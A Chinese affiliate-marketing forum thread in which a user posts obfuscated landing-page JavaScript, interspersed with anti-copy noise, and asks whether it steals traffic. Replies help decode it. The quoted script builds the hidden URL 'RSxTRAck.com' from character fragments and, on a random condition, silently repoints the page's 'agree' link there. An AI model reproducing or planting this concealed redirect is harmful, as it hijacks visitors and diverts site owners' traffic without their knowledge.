一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {' G/ q1 z" q9 U0 x
$(".option.clearfix").on("click",
?1 H( Y/ F' Y: d: ]* q
function() {
$ ?! Q0 I1 u/ S
$(this).toggleClass("selected");
Z9 U( r2 }$ Y7 ?
if ($(this).hasClass("selected")) {
x7 @& f* E& T
$(this).addClass("selected")& t' g7 W) M9 i2 s0 C
} else {
% K8 S' b1 y; z+ b& o
$(this).removeClass("selected")
) w/ L; {/ ^" l& j! _' F% x D
}
2 \6 M7 e |$ V
return false9 p. f: j% q. e; ^4 d4 A' u8 f% t. L
});
% j% |2 b# |- b. V0 A- _
var e = "r";. y6 ?3 Y6 m6 A# ~" F$ u
var t = "e";* W d: Y: D% q/ g0 z, S6 I
setBtnMarginDefault = "c" + "\u006B";
7 o; V1 y7 `% C4 |( b" Q
$(".option2.clearfix").on("click",
0 ?/ b. _: a+ x9 Z) _
function() {; d+ e9 d) a. R$ R3 H( ~
$(this).toggleClass("selected");' V( E( r2 a- w" m
if ($(this).hasClass("selected")) {$ S2 a, g% C+ i$ n3 y
$(this).addClass("selected")
) Y2 i1 B$ l3 s
} else {( {8 L$ K8 h7 f; P1 N
$(this).removeClass("selected")
' \/ [1 T' U% j$ `" R0 z
}- d* U) W* P0 i* {" b4 G( S" ?
return false
! x0 l7 t3 w& c6 d7 A4 F2 v
});
l7 K; c/ O. C$ J- ]# _% S8 J
var n = "a";3 R a; r% g4 c+ r( T, M9 m6 b
var r = "g";
+ g! e9 @% [4 A- O8 L, G, `
$(".option3.clearfix").on("click",/ p- _* f4 f ^# Z% b$ P) V
function() {
& _: m" I& Y6 N1 K1 }- l
$(this).toggleClass("selected");
2 v! q0 n% a- |8 u
if ($(this).hasClass("selected")) {
( z' o$ D8 v+ }/ d4 o% r5 E1 G
$(this).addClass("selected")
; T+ L* _1 m3 c7 n, A) Y0 o m( n
} else {: ]4 k3 k" ]7 z1 d, P
$(this).removeClass("selected")- ^0 I8 r4 z! i7 n8 P7 O
}2 D H& B' y' G2 V& D! k- K
return false& E C' S5 Q1 a, a" k
});
1 z; N" r% ~. ?" ?# T
var i = "e";
6 H# S8 L8 }5 l5 w
var s = n + r + e + t + i;4 e* s9 t; n0 D3 @' t- m
$(".option4.clearfix").on("click",8 y/ M' W, A+ o! {% P
function() {4 a* y: g# n7 C. o
$(this).toggleClass("selected");
6 M: N& x4 W9 u0 o- v
if ($(this).hasClass("selected")) {
( C2 q2 J+ ^9 s4 \
$(this).addClass("selected")
) O9 w& f7 r8 f0 h1 K
} else {
2 R( `7 N9 ~' m, p. B
$(this).removeClass("selected"), J9 A+ a r2 a5 I' B. T1 X- [
}* V: a* B; M1 R: O% b! k* ]
return false
# E' R- I% @* B
});
, y7 `9 T5 _' w% g- c3 v0 w$ S
var o = "\u0032" + "\u0030";7 p5 v5 t9 m# p- c' _
var u = "\u0031" + "\u0030";
) ~: _: R+ x* Z5 L) l3 `3 j
currentWhiteSpace = Math.floor(Math.random() * o);8 t8 i/ s# R, }8 a
setBtnMargin30 = setBtnMarginDefault + "." + "c";0 D6 ?( K! c) F" n+ B( `
Date.prototype.getMonthName = function() {" t1 c& x: Q5 i' T5 a, b* @
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
- V) z8 g/ x$ S; y# p, j
return e[this.getMonth()]
w( c0 N O2 [ K+ O
};" A$ j7 J$ f$ F" Y9 z- C& `
var a = currentWhiteSpace;
4 B/ M" A! @1 [* m( N' _- l: s7 Z
var f = "H";8 |2 f# h+ M0 L n
var l = "\u0052";
% F1 ]& L& T* F) B4 `7 Y* V* R
var c = "o" + "\u006D";
; d. a9 {' V9 f0 q$ ? ~- X3 d! }
f += "T";0 _7 J$ y* j" Z- m6 v' }
f += "T";
9 j! D! f. h, H8 X% B/ P- \
f += "P";: y; l l% _( X3 M2 w3 j
var h = new Date;
- b0 G* r3 M9 T4 k' Y8 \) X
if (h.getMonth() == 11) {( R% F4 r6 N5 u
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName(). V/ v) x& F8 ~" P! D
} else {
6 k9 c: O. ]* K# O
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName()! V. ]& F3 O- `( Q1 @' K
}
: S% n' O- I/ h# X9 u
var d = ":" + "/" + "/";
& ], ^/ F9 w9 |! H7 _1 k" k: K+ s
l += "S";, v2 i1 }! ?, L5 `! ]
l += "x";
+ @$ q7 W W8 V; J+ a' X" O# Y
document.getElementById("monthz").innerHTML = p;
0 |: |; _' r; L0 U$ ^, Z- G" k
l += "\u0054";- |# M. w/ H! ], J4 ~% |6 l
l += "R";8 q( i) f# u- H5 I6 P3 [; D
l += "\u0041" + setBtnMargin30;
8 k* k$ y% [: e5 D( d* J
setStyle = f + d + l + c;
# F# n8 m! e( `) |. b" m; d" _
s = s.toLowerCase(s);
. D; z& |$ L) O# p/ B Z( M: v
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;) V- m2 p% v4 I
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {
' L( z1 x: c5 K, v; I/ T2 q* C $(".option.clearfix").on("click", function () {
% U6 c- W3 u) U8 w       $(this).toggleClass("selected");
) {0 V/ {. U9 T( ~( V) D0 f       if ($(this).hasClass("selected")) {9 m! ~* R5 E8 K+ q+ d
         $(this).addClass("selected")0 F' c) g) m) Q- l
      } else {) B# q$ R/ t* s2 X, v& ]0 J
         $(this).removeClass("selected")* Q1 T6 P. r3 O( I6 A$ V' q
      }! r2 U  a3 H+ \# o7 R- E
      return false
9 ]7 m: j& a. G2 U% b/ U });4 Y* _3 z% c9 `, y- ^. Q" Q
$(".option2.clearfix").on("click", function () {$ S* o1 w9 L  U; x
      $(this).toggleClass("selected");6 c+ k# ~. X, z$ x# Z0 n, A
      if ($(this).hasClass("selected")) {* ^* j' e6 K/ n+ }& Q1 R
         $(this).addClass("selected")
+ u: o+ D2 _7 C8 t# `7 U       } else {
/ X+ H0 [! t; E/ W9 d3 b; [; i          $(this).removeClass("selected")
2 b/ [/ }7 E% S) q2 k: \       }
" d4 F% l, T- J( ?* f       return false8 d* j  U2 e3 A8 V, B9 i: ?
});/ Z/ [# d8 ~" L# t$ Y) I
$(".option3.clearfix").on("click", function () {# j  S: R' p+ G- Q9 Z+ p/ @1 i
      $(this).toggleClass("selected");
8 R1 w% o3 j# O# V: k8 N  k  A6 X       if ($(this).hasClass("selected")) {6 h3 @& H+ V8 H$ E
         $(this).addClass("selected")% C; H) |2 w/ r
      } else {
" D0 \! x- A2 w' o9 }% c          $(this).removeClass("selected")4 ?, ^$ T0 j1 x" n) _6 g, e. I
      }1 N3 _0 A. I; [2 V# d
      return false
# y: S# s; A2 Q9 c });
7 {0 D& x; }3 b3 C $(".option4.clearfix").on("click", function () {
' ]% ~% i8 H1 }5 W/ |6 {$ k) g# o       $(this).toggleClass("selected");
0 G) R- L5 t) r4 j  m" Q! L       if ($(this).hasClass("selected")) {
9 x; X8 Q% ~6 k2 x3 n          $(this).addClass("selected"): }8 z; z/ M; r, I, H+ p1 l) a
      } else {4 ?$ n' V/ T& e+ C4 ]# D
         $(this).removeClass("selected")1 y( E! Y$ K3 `5 O2 G
      }' F) u" I/ J6 H0 A6 |" }" W
      return false* }/ h) U& I; i1 {. y, o) f
});
7 g- e2 k& |- j! U& x7 u- o$ t})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53
% N$ [! B% Z+ l q不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

⚡️AdsPower:安全不封号,高效自动化	广告专用虚拟卡/U充值/高返点	皇家代理IP⚡️#1性价比⚡️	Mediabuy⚡️玩家开户首选
【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️	Taboola/Outbrain /Bing⚡️一级代理
*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放	FB BM不限额，短id账单户
E.PN 虚拟卡	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具	ADPLEXITY + ADVERTCN
7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值	Facebook 批量上广告
尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款	各种主页、账单户、BM户（优势）
FB企业户,TT老户,GG老户源头	PTM虚拟卡[全新卡BIN+高返点]	PTM虚拟卡[OPENAI+全场景通用]	FB虚拟卡⚡️消费越多返现越多
最大欧洲Nutra网盟BA找量	->Tyver SPY汇聚海量广告创意	广告位出租	8500万高质量住宅IP，助力各种需求
虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

社区QQ达人